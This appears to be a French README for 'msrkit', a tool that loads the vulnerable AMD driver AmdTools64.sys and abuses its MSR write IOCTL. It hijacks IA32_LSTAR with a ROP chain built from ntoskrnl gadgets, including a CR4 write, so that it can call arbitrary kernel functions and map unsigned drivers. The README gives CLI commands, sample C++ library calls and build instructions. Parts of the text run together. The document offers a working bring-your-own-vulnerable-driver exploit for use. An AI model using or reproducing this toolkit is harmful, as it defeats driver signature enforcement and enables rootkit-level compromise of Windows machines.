
Un concept consistant à utiliser une chaîne ROP associée à une primitive WRMSR pour appeler des fonctions du noyau et mapper des pilotes non signés via BYOVD (AmdTools64.sys)
Un outil pour appeler des fonctions du noyau et mapper des pilotes via une chaîne ROP à travers une primitive wrmsr dans un pilote vulnérable (AmdTools64.sys).
AmdTools64.sys via NtLoadDriver (bascule vers PnP devnode + interface de périphérique basée sur GUID si le lien symbolique est indisponible)IA32_LSTAR via l'IOCTL de lecture MSR du pilote (0xFFF02804)ntoskrnl.exe à la recherche de gadgets ROP (pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret, etc.)IA32_LSTAR avec le gadget d'entrée, efface AC dans FMASK, et émet syscallsysretqLe mapping de pilote suit le même chemin : alloue un pool noyau via ExAllocatePoolWithTag, copie l'image PE préparée (relocations appliquées, imports résolus, security cookie patché), et appelle le point d'entrée mappé.
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- résout et appelle un export nommé de ntoskrnl. Les arguments sont analysés comme des entiers (hexadécimal avec préfixe 0x). Affiche la valeur de retour.call_at -- appelle une adresse virtuelle arbitraire du noyau.map -- mappe un pilote non signé dans le pool non paginé et appelle son point d'entrée (ExAllocatePoolWithTag). Affiche l'adresse de base mappée.unmap -- libère un pilote précédemment mappé à l'adresse de base donnée.#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
Passer optionnellement un handle de pilote existant pour éviter le chargement :
MSRK::INIT("AmdTools64.sys", existing_handle);
Nécessite Visual Studio avec MSVC (v143+) et MASM (ml64.exe).
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
Sortie : build/Release/msrkit.exe (CLI) et msrkit.lib (bibliothèque statique).
CFG est désactivé (/guard:cf-). Les stack cookies (/GS) sont activés.